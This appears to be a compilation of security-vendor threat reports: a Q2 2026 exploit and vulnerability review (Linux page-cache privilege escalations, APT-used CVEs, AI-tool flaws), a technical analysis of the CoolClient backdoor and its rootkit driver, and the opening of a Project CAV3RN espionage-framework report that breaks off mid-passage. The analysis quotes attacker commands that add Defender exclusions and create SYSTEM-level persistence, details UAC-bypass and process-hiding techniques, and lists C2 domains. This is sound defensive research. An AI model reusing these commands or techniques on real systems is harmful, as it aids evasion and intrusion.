Linux also hit a rough patch in Q2 2026. Specifically, the period saw the disclosure of the Dirty Frag family of vulnerabilities, which lets an attacker reliably escalate privileges within the operating system.

All the vulnerabilities published in Q2 2026 were, in one way or another, related to the Linux caching subsystem. Here are the ones being most actively exploited:

• CVE-2026-31431 (Copy Fail): a local privilege escalation vulnerability in the Linux kernel that lets an unprivileged user modify the page cache and gain root privileges. Especially dangerous for cloud and containerized environments
• CVE-2026-43284, CVE-2026-43500 (Dirty Frag): a family of vulnerabilities in the Linux networking subsystem (IPsec ESP and RxRPC) that lets a local user overwrite the page cache and escalate privileges to root
• CVE-2026-46300 (Fragnesia): a local privilege escalation vulnerability in the Linux kernel related to packet fragment handling and the page cache mechanism. It lets an unprivileged user gain root privileges and is also classified as part of the Dirty Frag family
• CVE-2026-31635 (DirtyDecrypt): a Linux kernel vulnerability that lets a local attacker escalate privileges due to improper handling of decryption operations and page cache data modification
• CVE-2026-43494 (PinTheft): a Linux kernel vulnerability that lets a local user gain elevated privileges due to errors in the memory page pinning mechanism
• CVE-2026-46331 (pedit COW): a vulnerability in the Linux kernel’s traffic control subsystem (tc-pedit) that exploits a flaw in copy-on-write to modify the page cache and subsequently escalate privileges to root

The vulnerabilities described above were quickly embraced by attackers. At the same time, our solutions continue to detect exploitation attempts targeting older vulnerabilities as well:

• CVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications
• CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
• CVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem
• CVE-2023-32233: another Netfilter subsystem vulnerability that allows for Use-After-Free conditions and privilege escalation through improper processing of network requests

Dynamics of the number of Linux users encountering exploits, Q1 2025 – Q2 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

In Q2 2026, the number of Linux users who encountered exploits declined slightly compared to Q1. Given that a significant share of new vulnerabilities are tied to the operating system’s caching subsystem, we recommend installing patches as quickly as possible, or disabling vulnerable kernel modules if patching isn’t an option.

Most common published exploits

The distribution of published exploits by software type in Q2 2026 includes categories that haven’t appeared in the sample for a long time. For instance, we’re once again seeing exploits targeting SharePoint. It’s worth noting that while several vulnerability write-ups for Exchange and SharePoint were published during the quarter, most turned out to be fake, AI-generated research. While the articles and exploit source code themselves look fairly polished, they describe nonexistent problems in the software or its components — often close to genuinely vulnerable mechanisms — in order to mislead researchers. This type of attack is aimed at increasing the time it takes to detect real vulnerabilities. In some cases, the description of a nonexistent vulnerability came bundled with completely unrelated malware.

Distribution of published exploits by platform, Q1 2026 (download)

Distribution of published exploits by platform, Q2 2026 (download)

Vulnerability exploitation in APT attacks

We analyzed which vulnerabilities were exploited in APT attacks during Q2 2026. The rankings provided below include data based on our telemetry, research, and open sources.

TOP 10 vulnerabilities exploited in APT attacks, Q2 2026 (download)

In Q2 2026, a trend emerged in APT attacks toward exploiting new vulnerabilities right from the moment they’re published. As before, we’re also seeing a large number of zero-day vulnerabilities. The Langflow vulnerability deserves particular attention: it’s one of the first cases of an APT group exploiting AI technology, which many organizations are only just beginning to integrate. Because most of this tech is proprietary, it has a considerable number of security blind spots. Therefore, given the growing number of AI-based automation tools, we strongly recommend going beyond the usual patching and developing secure procedures for credential use and sensitive data handling in systems that rely on agents and LLMs.

C2 frameworks

In this section, we examine the most popular C2 frameworks used by APT groups and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.

The chart below shows the frequency of known C2 framework usage in attacks during Q2 2026, according to open sources.

TOP 10 C2 frameworks used by APTs to compromise user systems, Q2 2026 (download)

Sliver, Havoc, AdaptixC2, and Metasploit remain the most widely used C2 frameworks. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:

• CVE-2026-35273: a vulnerability in Oracle PeopleSoft PeopleTools that security vendors classify as server-side request forgery (SSRF). The details of the vulnerability have never been disclosed, although some research covers the post-exploitation steps
• CVE-2023-46604: an insecure deserialization vulnerability in Apache ActiveMQ that allows arbitrary code execution in the context of the service process
• CVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication
• CVE-2023-36884: a vulnerability in the Windows Search component that allows commands to be run on the system, bypassing the mark-of-the-web (MoTW) mechanism
• CVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server
• CVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities in WinRAR that allow files to be extracted from an archive to a predetermined path, potentially without the archiving utility displaying any alerts to the user

These vulnerabilities show that attackers used them for initial access and privilege escalation on vulnerable systems, setting the stage for launching a C2 agent. They include both zero-day vulnerabilities and fairly well-known security issues.

LLM/AI tool vulnerabilities

This section analyzes data published in Kaspersky’s vulnerability knowledge base. We reviewed the Q2 2026 version of the knowledge base.

As mentioned above, AI tools, plugins, and technologies have proven fairly effective at automating the search for problematic code and anomalous behavior. The high speed at which new vulnerabilities are being discovered has naturally created a need to fix them just as quickly. AI is often used for this too, which increases the volume of code being generated. However, neither code written without human involvement nor AI-generated advice is always correct.

The chart below covers registered vulnerabilities in AI tools for 2025–2026.

Number of published vulnerabilities in LLMs, AI tools, and plugins with similar functionality, 2025–2026 (download)

As the charts show, AI tools are racking up a substantial number of registered vulnerabilities, and that number keeps growing quarter over quarter. It’s also worth looking at how AI tool vulnerabilities break down by type, according to the CWE system:

TOP 6 vulnerability types in products that implement or use AI/LLM logic, 2025–2026

Interestingly, vulnerabilities of an undetermined type have ranked first in every quarter since the start of 2025. Traditionally-made software has the same issue, and it doesn’t look like the growing number of AI tools will fix it. It’s also notable that the list includes classes CWE developers themselves don’t recommend using for vulnerability classification, since they lump together a whole range of more specific types. CWE-284 is an example of this.

Looking at the most common classes, the key issues found in AI-related software can be summed up as follows:

• Inadequate access control over critical system objects
• Improper implementation of authentication and authorization mechanisms
• Injections

It’s worth noting that injection-related vulnerabilities were relatively rare before AI agents took off (previously, they mostly affected web apps). Recently, though, these security issues have become relevant again.

Looking back at a year and a half of the AI boom, one conclusion stands out regarding registered vulnerabilities: AI tool developers are more focused on expanding functionality than on security. This is worth keeping in mind when using these tools. Let’s look at the projects and applications that either integrated AI tools or offered them as the core product. Below is a list of the those with the highest number of registered vulnerabilities for 2025–2026.

TOP AI/LLM-related projects by number of published vulnerabilities, 2025–2026 (download)

Notable vulnerabilities

This section highlights the most significant vulnerabilities published in Q2 2026 that have publicly available descriptions. Since the above already covers several significant vulnerabilities published during the reporting period, this section consists mainly of LLM/AI tool vulnerabilities.

CVE-2026-25253: a gatewayUrl vulnerability in OpenClaw

The issue stems from the fact that the OpenClaw user interface trusts the value of the gatewayUrl parameter passed in the URL and automatically establishes a WebSocket connection to the specified address. During this connection process, it sends an authentication token without any additional user confirmation.

The attack algorithm exploiting this vulnerability works as follows:

1. The application obtains a critical connection address from an external source (the gatewayUrl URL parameter), which is controlled by the attacker.
2. There is no validation before use.
3. The client automatically initiates a connection to the address specified in the parameter, which belongs to the attacker.
4. While connected, the application sends credentials (an access token) to the specified address.

If the attacker obtains a valid token, the consequences depend on that token’s level of access within the system. In general, this could lead to:

• User session compromise
• Execution of operations on the user’s behalf
• Modification of the AI agent configuration
• Unauthorized access to tools and resources connected to the agent
• Under certain OpenClaw configurations, further compromise of the host running the agent

It’s worth noting that the risk of exploitation arises from a combination of several factors: the automatic connection and token transmission, the lack of address trust verification, and the high privileges granted to the local AI agent.

CVE-2026-41948: a path traversal vulnerability in the Dify AI platform

The vulnerability lets an authenticated user craft a request that enables the application to escape its permitted tenant and gain access to internal REST APIs that weren’t meant for that user. The root cause is insufficient normalization and validation of the URL path before it’s passed to the internal service.

Depending on the Dify configuration, the consequences can include:

• Unauthorized access to internal service interfaces
• Breach of isolation between workspaces
• Exposure of internal service information
• Conditions favorable to further attacks when combined with other vulnerabilities

The use of Dify in enterprise AI platforms is particularly risky, since internal services there tend to hold elevated privileges.

CVE-2026-45386: an improper access control vulnerability in Open WebUI

In Open WebUI, pin/unpin operations on messages are write operations, since they modify that message’s metadata (is_pinned, pinned_by, pinned_at). In vulnerable versions, however, before performing these actions, the API only checked for read access to the channel (a chat between a user or group and the AI) containing the message, not permission to modify its content. As a result, a user with a role limited to viewing messages could still change a message’s pinned status.

The vulnerability’s mechanism works as follows:

1. The user initiates an action that changes the state of an object.
2. The application treats this action as a regular read request.
3. Only channel view permission is checked.
4. The application performs a write without verifying the required user authorization.

This violates one of the fundamental principles of access control models — namely, that any operation that changes the state of data must be checked for the appropriate write or moderation permissions, regardless of whether the object itself is readable.

Although the vulnerability doesn’t lead to arbitrary code execution or compromise of sensitive data, it can affect data integrity and collaborative workflows. Potential consequences of exploitation include unauthorized pinning or unpinning of messages, disruption of channel moderators’ and administrators’ activities, changes to the display order of important information, and even the potential spread of false or misleading information by altering the channel containing a pinned message.

Open WebUI is widely used as an interface for interacting with local and enterprise LLMs. In these systems, pinned messages often contain important instructions, announcements, or tips for users. The ability to modify them with minimal privileges can disrupt collaborative workflows, cause confusion, and undermine trust in information published by administrators and moderators.

CVE-2026-45501: a vulnerability in Microsoft Exchange

The vulnerability stems from improper neutralization of user input when generating Exchange web pages. As a result, the browser may interpret specially crafted data as active content instead of plain text.

Although Microsoft categorizes the potential impact of exploiting this vulnerability as spoofing, flaws like this can lead to alteration of displayed content, imitation of trusted interfaces, actions on behalf of the user within an active session, and abuse of user trust.

It’s worth noting that issues like this are still relevant in modern software, given that mechanisms like Content Security Policy and various parsers were specifically created to help developers neutralize dangerous parts of user page content.

Conclusion and advice

Q2 brought the first significant results of AI automation adoption in software development and vulnerability hunting tools. This research shows that beyond traditional patch management, organizations now need real-time monitoring of systems and access controls, since infrastructure and everyday applications now contain far more AI functionality that could lead to compromise.

Accordingly, besides quickly detecting infrastructure vulnerabilities and managing security patches, modern enterprise-grade security solutions need to provide a broad range of preventive measures for tracking the overall health of systems and workstations. Kaspersky Next meets these requirements by combining proactive mechanisms with the ability to respond promptly to emerging threats.

Introduction

CoolClient is a backdoor family attributed to the HoneyMyte APT group (also known as Mustang Panda) that has been used in their cyber-espionage campaigns targeting organizations across Asia and Russia. It supports such capabilities as keylogging, clipboard theft, credential harvesting, file management, system reconnaissance, and plugin-based extensions.

Since its first public disclosure by Sophos in 2022 and subsequent analysis by Trend Micro in 2023, CoolClient has continued to evolve. In 2025, we analyzed a newer variant that introduced clipboard theft and HTTP traffic interception for credential harvesting.

In late 2025 and 2026, our latest investigation reveal another major evolution. The newest CoolClient variant can deploy a signed kernel-mode driver as a Windows service and communicate with it through IOCTL requests. The driver enhances the malware’s stealth by hiding the CoolClient process, protecting related files and registry entries, and preventing them from being inspected or modified. The overall design is comparable to the kernel-mode enhancements previously observed in ToneShell, but the CoolClient driver exposes dedicated IOCTL handlers that allow the user-mode backdoor to communicate directly with the driver.

We have observed this updated CoolClient variant and its accompanying driver in intrusions across multiple countries in Asia, including Pakistan, Mongolia, and Myanmar.

Technical analysis

In the observed campaign targeting Myanmar, HoneyMyte used PlugX as the initial post-compromise implant to deploy the CoolClient components. Before deploying the malware, the actor added both a folder exclusion and a file exclusion to Microsoft Defender for the fake Windows Defender installation directory and the renamed sideloader executable (defender.exe).

wmic /Node:localhost /Namespace:\\Root\Microsoft\Windows\Defender Path MSFT_MpPreference call Add ExclusionPath="$programfiles\Microsoft\Windows Defender"
wmic /Node:localhost /Namespace:\\Root\Microsoft\Windows\Defender Path MSFT_MpPreference call Add ExclusionPath="$programfiles\Microsoft\Windows Defender\defender.exe"

The actor then created a fake Windows Defender installation directory, copied the CoolClient components into it, and renamed a legitimate Sangfor executable, usually named Sang.exe, to defender.exe to serve as the DLL sideloader.

xcopy "$programfiles\Windows Defender\*" "$programfiles\Microsoft\Windows Defender" /a /s /v /e /f

Persistence was established through a scheduled task that launched defender.exe with SYSTEM privileges during system startup.

schtasks /create /sc onstart /tn "\Microsoft\Windows\Windows Defender Advanced Threat Protection Service" /tr "\"$programfiles\Microsoft\Windows Defender\defender.exe\"" /ru "system" /F

When executed, defender.exe sideloads the malicious libngs.dll, initiating the CoolClient execution chain described in the following sections.

CoolClient components

Similar to previous variants, the latest CoolClient user-mode component follows a multi-stage execution chain, with each component performing a distinct role during execution.

Our previous CoolClient analysis focused primarily on the final-stage implant (main.dat), including its backdoor commands and plugin framework, while the first-stage loader (libngs.dll) and second-stage component (loader.dat) received only a brief overview. In the latest variant CoolClient, loader.dat and main.dat have been renamed to loadcert.ini and cert.ini, respectively. This article revisits those earlier stages, focusing on the second-stage component and the newly introduced kernel-mode driver that extends CoolClient with rootkit capabilities.

Overview of the new variant of CoolClient

First stage: libngs.dll

Execution begins when the legitimate Sangfor application (defender.exe or Sang.exe) loads the malicious libngs.dll through DLL sideloading. As in previous CoolClient variants, the malware continues to abuse the same Sangfor application to execute its first-stage loader.

To make the DLL appear legitimate, libngs.dll exports numerous dummy functions. Each export simply calls OutputDebugStringA with its corresponding function name before immediately invoking ExitProcess, serving no functional purpose other than mimicking the expected export table of the legitimate DLL.

Dummy export functions in libngs.dll invoking OutputDebugStringA and ExitProcess

The actual malicious logic is executed from DllMain (DllEntryPoint). Although heavily obfuscated through control flow flattening and numerous unconditional jumps, the routine ultimately performs a straightforward task: loading, decrypting, and executing the encrypted second-stage DLL, loadcert.ini.

The loader resolves the required Windows APIs, reads loadcert.ini into memory, and decrypts it using a 0x32-byte repeating XOR keystream derived from a transformed seed value of 0xA4. After decryption, the DLL is loaded directly into memory, and execution is transferred to loadcert.ini.

Second stage: loadcert.ini (before synchost.exe injection)

The second-stage DLL, loadcert.ini, is responsible for preparing the execution environment before the malware transitions into its injected process. It first determines its execution context by checking whether the current module is synchost.exe.

If the DLL is running under the original sideloaded process (for example, Sang.exe), it performs the initial setup, including persistence, UAC bypass, registry modifications, and process injection.

If the DLL is already executing inside synchost.exe, it follows a different execution path that decrypts time.ini, deploys the kernel-mode driver, and loads the final-stage implant (cert.ini).

Command handler

The command handler remains largely unchanged from previous CoolClient variants, with one notable difference: the malware now injects into synchost.exe instead of write.exe.

Execution is controlled through three command-line parameters:

If no parameter is supplied, the malware creates a new Sang.exe process with the install parameter using CreateProcessW.

Establishing AutoRun persistence

When executed with the install parameter, CoolClient creates an AutoRun entry under:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

The registry value, named goopdate, launches Sang.exe (or defender.exe, depending on the deployment) with the work parameter whenever the user logs on.

Process injection into synchost.exe

Upon establishing the AutoRun registry entry, CoolClient decrypts loadcert.ini using a 0x32-byte repeating XOR keystream derived from the hardcoded base key 0x4D.

The decrypted DLL is then injected into a newly created suspended instance of synchost.exe. The malware allocates memory in the target process, writes the decrypted payload, redirects the thread context to the injected code, resumes execution, and finally terminates the original process with ExitProcess.

From this point onward, execution continues entirely within synchost.exe, where the malware proceeds with kernel-mode driver deployment before loading the final-stage implant (cert.ini).

Service installation

When executed with the install parameter, CoolClient establishes an additional persistence mechanism by installing itself as a Windows service. Before doing so, it verifies that it has sufficient access to the Service Control Manager and that no 360 Total Security software processes (360sd.exe, zhudongfangyu.exe, or 360desktopservice64.exe) are running.

Function to check for running 360 Total Security software processes

If both checks succeed, the malware decrypts time.ini to retrieve the service configuration, including the service name and description. It then checks whether the service media_updaten already exists. If found, the existing service is stopped and deleted before a new one is created.

The new service is configured to execute Sang.exe<.code> with the work parameter using CreateServiceA. The malware then starts the service by executing "sc start media_updaten" via WinExec.

Administrator privilege check

If the service installation path is not taken, CoolClient checks whether the current process is running with administrator privileges by verifying membership in the local Administrators group.

When administrative privileges are available, the malware relaunches itself with the passuac parameter before continuing with the remaining execution flow.

Elevated relaunch and UAC bypass

To continue execution with elevated privileges while concealing its true parent process, CoolClient implements an RPC-based process creation technique similar to the method described by Google Project Zero. The technique combines RPC process creation with parent process ID (PPID) spoofing to launch a new elevated instance of itself.

The malware first checks for the presence of escanmon.exe. If the process is running, it constructs the path to C:\Windows\System32\winver.exe and establishes a connection to the local ncalrpc endpoint (201ef99a-7fa0-444c-9399-19ba84f12a1a). It then invokes NdrAsyncClientCall to launch winver.exe through the RPC interface.

Authenticated RPC binding used during the RPC-based UAC bypass

After winver.exe is created, CoolClient retrieves its debug object using NtQueryInformationProcess, detaches the debugger through NtRemoveProcessDebug, and terminates the process. The obtained debug object is later reused during the remainder of the UAC bypass routine.

Next, the malware repeats the same RPC-based process creation technique to launch computerdefaults.exe. It associates the previously obtained debug object with the current thread using DbgUiSetThreadDebugObject, waits for the resulting process creation event through WaitForDebugEvent, and duplicates the process handle using NtDuplicateObject, obtaining a handle with full access rights.

Finally, CoolClient relaunches itself as Sang.exe passuac using CreateProcessW with an extended startup attribute list. By configuring PROC_THREAD_ATTRIBUTE_PARENT_PROCESS through UpdateProcThreadAttribute, the duplicated process handle is assigned as the parent of the new process. As a result, the new Sang.exe passuac instance executes with an elevated context while appearing to have been spawned by the trusted Windows process instead of the original CoolClient process.

Second stage: loadcert.ini (Injected Execution)

After being injected into synchost.exe, loadcert.ini follows its injected execution path, where it deploys the kernel-mode driver and launches the final-stage implant (cert.ini). If administrative privileges are unavailable, the malware skips driver deployment and proceeds directly to the third-stage injection.

Kernel-Mode driver deployment

The deployment routine begins by decrypting time.ini. CoolClient then verifies that it has sufficient privileges to install a kernel-mode driver by checking for full access to the Service Control Manager (SCM) and the presence of SeTcbPrivilege.

If both conditions are met, CoolClient extracts an embedded LZMA-compressed driver from loadcert.ini, decompresses it, and writes it to disk as msagent.sys in the same directory as cert.ini, for example:

C:\Program Files\Microsoft\Windows Defender\msagent.sys

Next, the malware checks whether a service named msagent already exists. If present, the existing service is stopped and deleted before a new driver service is created and started, loading the kernel-mode component into the operating system.

Driver initialization

After the driver is loaded, CoolClient establishes communication with it by opening the device \\.\msagent using CreateFileW. The user-mode component then initializes the driver by issuing three DeviceIoControl requests.

The first request (0x222120) registers the current CoolClient process as a trusted process within the driver. The request includes the process ID, an operation code, and a flag that marks the process as trusted, allowing it to interact with protected files, registry keys, and processes.

The second request (0x2221E0) passes the configured C2 IPv4 address extracted from time.ini.

Finally, 0x2220F0 registers the CoolClient installation directory (for example, C:\Program Files\Microsoft\Windows Defender\) together with the service registry path (\Registry\Machine\SYSTEM\CurrentControlSet\Services\media_updaten). These entries allow the driver to protect the malware’s files and registry objects from inspection, modification, and deletion.

As part of the initialization, CoolClient updates the HKLM\SYSTEM\RNG\Wid_H1deF5Dirs registry value by appending its installation directory if it is not already present. This registry value is later used by the driver when applying its hiding and protection mechanisms.

The implementation of these IOCTL handlers and the corresponding driver functionality are discussed in the msagent.sys section.

Cert.ini process injection

Once the driver has been initialized, CoolClient proceeds to launch the final-stage implant (cert.ini). Before creating the target process, the malware enumerates active WinStation sessions to identify a suitable interactive user session.

After selecting a session, CoolClient duplicates its access token, updates the session identifier, and creates a new synchost.exe process using CreateProcessAsUserA. The decrypted cert.ini DLL is then injected into the suspended process using the same memory allocation, thread context modification, and ResumeThread technique described earlier.

This marks the final transition in the execution chain, where the third-stage implant takes over C2 communication and the remaining backdoor functionality.

Msagent.sys driver

Analysis of the deployed kernel-mode driver reveals an embedded PDB path:

PDB Path

E:\work\南京实验室\2024项目\张雪杰云南m\研发\FTool\Tool\x64\Release\FTool.pdb

The driver is digitally signed with a certificate issued to "Nanjing Ranyi Technology Co., Ltd.", with serial number 3E 62 DC 5D 8D 61 2A 26 33 E7 6B DF D6 07 19 DD. The certificate was valid from August 2013 to September 2014.

We identified several older malicious drivers signed with the same certificate that were compiled around 2013. However, we found no evidence directly linking those samples to the CoolClient activity described in this article.

Driver configuration

During initialization, the driver loads its stealth configuration from the registry key \REGISTRY\MACHINE\SYSTEM\RNG. The configuration defines which system objects should be hidden or protected and controls the driver’s operating mode.

Registry configuration loaded by the driver during initialization

Two REG_DWORD values control the driver’s operating mode:

In addition, the driver loads several REG_MULTI_SZ values that define the objects to be hidden or protected.

Together, these registry values determine which filesystem paths, registry objects, and processes are managed by the driver’s protection mechanisms.
After loading the configuration, the driver converts the registry entries into internal lookup structures that are shared across its various protection components.

These structures are later referenced by the filesystem minifilter, registry callback, process callback, object callback, image load callback, and IOCTL handlers to determine whether a file, registry object, or process should be hidden, protected, or ignored.

Preparation for process hiding

Next, the driver dynamically locates the ActiveProcessLinks (LIST_ENTRY) field within the EPROCESS structure instead of relying on hardcoded offsets. It first validates several predefined offsets and, if none match, performs a linear scan of the EPROCESS structure to identify the correct location. This approach allows the driver to remain compatible across different Windows versions, where the layout of EPROCESS may differ.

The driver validates candidate ActiveProcessLinks layouts before enabling process hiding

Once the correct offset has been identified, it is stored for later use by the process hiding routines. During process hiding and restoration, the driver uses IOCTLs 0x22219C and 0x2221A0 to unlink and relink entries in the Windows active process list, effectively hiding or restoring processes on demand.

Process, object, and image load callbacks

After preparing its process tracking structures, the driver initializes several AVL trees and populates them with configuration entries loaded from the registry, including Wid_H1deF5Dirs, Wid_H1deF5Files, Wid_H1deRegKeys, Wid_H1deRegValues, Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages.

These AVL trees provide efficient lookups for protected files, registry objects, and tracked processes, and are shared by the callback routines and IOCTL handlers.
The driver then registers three types of kernel callbacks that form the foundation of its protection and monitoring mechanisms:

• Object callbacks using ObRegisterCallbacks
• Process creation and termination callbacks using PsSetCreateProcessNotifyRoutineEx
• Image load callbacks using PsSetLoadImageNotifyRoutine

Registration of object, process, and image load callbacks during driver initialization

After registration, these callbacks maintain the driver’s internal tracking structures as processes, threads, and images are created or loaded.

Object callbacks

To protect selected processes, the driver registers object callbacks for process (PsProcessType) and thread (PsThreadType) objects using ObRegisterCallbacks with an altitude of 1203. These callbacks intercept requests to open process and thread handles. If the target process is protected, the driver reduces the access rights granted to the requesting process, preventing operations such as process termination, code injection, and other forms of process manipulation. In this sample, the protected process is the injected CoolClient code running inside synchost.exe.

Process and image load callbacks

The driver registers process creation and termination callbacks using PsSetCreateProcessNotifyRoutineEx, together with an image load callback via PsSetLoadImageNotifyRoutine.

When a process is created, its image name is compared against the configuration lists Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages. Matching processes are added to the driver’s internal tracking structures, allowing them to be protected, hidden, or managed through subsequent IOCTL requests. When a tracked process terminates, its entry is removed from the tracking structures.

The image load callback monitors modules loaded into tracked processes and updates the driver’s internal state to support subsequent protection and hiding operations.

To ensure that processes already running before the driver is initialized are also tracked, the driver performs a one-time enumeration of all active processes after registering the callbacks and adds any matching processes to the tracking structures.

MiniFilter registration

To protect files and directories, the driver registers a filesystem minifilter. During initialization, it creates internal path filter lists, loads the configured directory and file entries (Wid_H1deF5Dirs and Wid_H1deF5Files), and creates the required minifilter registry entries under HKLM\SYSTEM\CurrentControlSet\Services\msagent\Instances. To avoid altitude conflicts, the driver dynamically assigns a filter altitude and retries registration until a unique value is obtained.

Retrying minifilter registration with incrementing filter altitude values until FltRegisterFilter succeeds

The driver then activates the minifilter using FltRegisterFilter. The filter works together with the IOCTL interface, which dynamically adds, removes, or clears protected path entries (0x2220F0, 0x2220F4, and 0x2220F8). During filesystem operations, the minifilter compares accessed paths against its internal path lists and denies access to matching entries, effectively hiding protected files and directories from users and applications.

Registry callback registration

To protect registry keys and values, the driver registers a registry callback using CmRegisterCallbackEx with an altitude of 320000. During initialization, it creates separate lookup structures for protected registry keys and values, then populates them using the configured entries from Wid_H1deRegKeys and Wid_H1deRegValues.

Registration of the registry callback using CmRegisterCallbackEx with an altitude of 320000

Once registered, the callback intercepts registry operations and compares the target key or value against the protected entries. For enumeration requests, matching keys and values are removed from the results before they are returned to user mode, effectively hiding them from registry viewers. For direct access requests, such as opening, modifying, or deleting protected registry objects, the callback returns STATUS_ACCESS_DENIED, preventing the operation.

Before applying these restrictions, the driver verifies whether the requesting process is trusted. Processes registered through IOCTL 0x222120, including the CoolClient user-mode component, bypass the filtering logic and retain unrestricted access, while all other processes remain subject to the driver’s registry protection rules.

IOCTL command dispatcher

To communicate with the user-mode component, the driver creates a device object named \Device\ToolTool together with the symbolic link \DosDevices\ToolTool to allow the user-mode CoolClient component to communicate with the driver through DeviceIoControl requests.

The driver implements 33 IOCTL handlers, although the analyzed CoolClient sample uses only three during normal execution:

• 0x222120: registers the current CoolClient process with the driver.
• 0x2221E0: passes the configured C2 IPv4 address.
• 0x2220F0: registers filesystem and registry paths for protection.

The remaining IOCTL handlers were not invoked by the analyzed sample.

After initializing the IOCTL dispatcher, the driver releases the temporary configuration buffer that was previously loaded from \REGISTRY\MACHINE\SYSTEM\RNG.

Kernel module enumeration and hiding

To support kernel module hiding, the driver resolves the address of the non-exported kernel variable PsLoadedModuleList at runtime using MmGetSystemRoutineAddress. This global linked list maintains information about all loaded kernel modules and drivers, allowing the rootkit to enumerate and manipulate module entries.

Driver initialization routine resolving the address of PsLoadedModuleList for subsequent kernel module hiding

This functionality is exposed through IOCTL 0x222138, which accepts a module name or path from the user-mode component. When a matching module is found, the driver locates the corresponding entry in PsLoadedModuleList and unlinks it by updating its Flink and Blink pointers. As a result, the hidden module no longer appears in standard kernel module enumeration routines.

Nsiproxy hooking and data filtering

The driver also hooks the Nsiproxy driver to filter network-related data returned to user mode. This functionality is connected to IOCTL 0x2221E0, which allows the user-mode component to register C2 IPv4 addresses with the driver.

To install the hook, the driver obtains a reference to \Driver\Nsiproxy using ObReferenceObjectByName and replaces one of the Nsiproxy handler pointers with its own filtering routine. The hook preserves the original handler and forwards execution after processing the returned data.

Installing the Nsiproxy hook by resolving \Driver\Nsiproxy and replacing the original handler with the driver’s filtering routine

When the hooked routine processes network information, the driver compares the returned entries against its registered C2 address list. Matching IP addresses are removed before the data is returned to user mode, preventing applications that rely on Nsiproxy-provided network information from seeing the malware’s C2 addresses.

Finally, the driver registers a DriverUnload routine to release allocated resources when the driver is unloaded.

Victimology

The latest CoolClient variant continues to target organizations consistent with previously observed HoneyMyte activity. Based on our investigations, we identified victims in Myanmar, Mongolia, Pakistan, and Russia, including confirmed government entities.

Across the observed intrusions, CoolClient was consistently deployed as a secondary backdoor following a PlugX infection, indicating that HoneyMyte continues to use PlugX as its initial post-compromise implant before transitioning to CoolClient.

Attribution

Our analysis confirms that the investigated malware is a new CoolClient variant associated with the HoneyMyte threat group. While the overall execution flow remains consistent with previously documented CoolClient variants, this sample introduces a previously undocumented kernel-mode driver that significantly expands the malware’s stealth capabilities.

The deployment chain observed in this investigation is also consistent with previous HoneyMyte campaigns, in which PlugX serves as the initial foothold before CoolClient is deployed as a secondary backdoor, further reinforcing the attribution.

Conclusion

The latest CoolClient variant represents a significant evolution of the malware. Rather than operating solely as a user-mode backdoor with plugin support, it now deploys and communicates with a kernel-mode driver that extends its capabilities beyond earlier versions. Through this driver, CoolClient can hide and protect processes, files, and registry objects, as well as filter selected network information, making detection and analysis considerably more difficult.

HoneyMyte has previously introduced kernel-mode functionality in ToneShell. The addition of a kernel-mode driver to CoolClient suggests that the group continues to expand its use of rootkit capabilities to improve stealth, persistence, and defense evasion during post-compromise operations.

IOCs

2d7c8780e97409770a9d4f31c66c9d63 msagent.sys
9460E150E1981D5C165043520C5C12FE msagent.sys
9717F005C5FB98E08D2AD983D88F94EE libngs.dll
F518D8E5FE70D9090F6280C68A95998F libngs.dll
EB79558B037669792652A816E2C669DE ctxmui.dll

C:\Program Files\microsoft\windows defender\
C:\Program Files\windows media player\mediares\
C:\ProgramData\symantecdir\
C:\ProgramData\virtualstore\
C:\Windows\identitycrl\production\
C:\Windows\serviceprofiles\networkservice\
C:\Users\<user>\AppData\Local\viber24.8\
C:\Users\<user>\AppData\Roaming\dsassistant\
C:\Program Files\common files\microsoft shared\office14\
C:\programdata\msdn\

cloudtroe.giize[.]com
employers.theworkpc[.]com
freeread.casacam[.]net
us.lenovoappstore[.]com
sundanish.freeddns[.]org
torinarlabs.webredirect[.]org
news.dursamjbataar[.]org
video.dursamjbataar[.]org
black-popular[.]com
whatismybestthing[.]com

Project CAV3RN is a modular espionage framework used against targets in Israel. This report expands on two earlier publications: the first was published in June 2026 as part of our Kaspersky Threat Intelligence Reporting service, and the second was published on Securelist the following month, further documenting the framework’s evolving architecture and C2 capabilities.

Continued tracking of this cluster in early August 2026 uncovered several previously undocumented components that expanded the framework’s communication and orchestration capabilities. The main finding is a complex C2 module that uses DNS A-record responses to choose between direct HTTPS and a Google Apps Script relay for each transaction. The same DNS infrastructure can validate and replace the relay deployment ID, allowing the operator to rotate the Google channel.

We also identified the framework’s local broker, which discovers and loads DLL components, routes messages between them, and supports runtime upgrades.

Multi-transport C2 communication module

The communication module, GoogleService.dll, is a 64-bit DLL compiled with Microsoft .NET 8 NativeAOT. Its PDB path is:

C:\Users\user\Desktop\Modules\broker-cavern\communication\GoogleCommunication\bin\Release\net8.0\win-x64\native\GoogleService.pdb

NativeAOT data also revealed references to eight source files, including the Direct.cs, FindMode.cs, and Google.cs.

The DLL exports GroupByCategory, CheckAvailability, IsPrimeNumber, and OrderByDate. During initialization, its host (local broker) registers the module’s callback and starts CheckAvailability. After three seconds, the module sends a type-0 frame to the fixed identifier 33A4BA78-E286-4FF2-85EC-7365265F3D93. The broker returns Err1::33A4BA78-E286-4FF2-85EC-7365265F3D93, which the module expects and uses to learn the broker’s name before starting its C2 worker.

C2 packets contain type, cid, and payload fields. Packets of the type icmgdd are processed by the communication module itself, while other types, including broker, are forwarded to the local broker. Within command payloads, _;;_ separates the command from its arguments and _,_ separates individual arguments.

At startup, the worker internally sends:

{"type":"icmgdd","cid":0,"payload":"s_version_;;_"}

The s_version handler enumerates DLLs under AppContext.BaseDirectory, collects their company names and versions, and appends the communication module’s name/version and the local broker’s name. This inventory is serialized as JSON, XORed with 0xAC, Base64-encoded, and sent as the module’s initial C2 report.

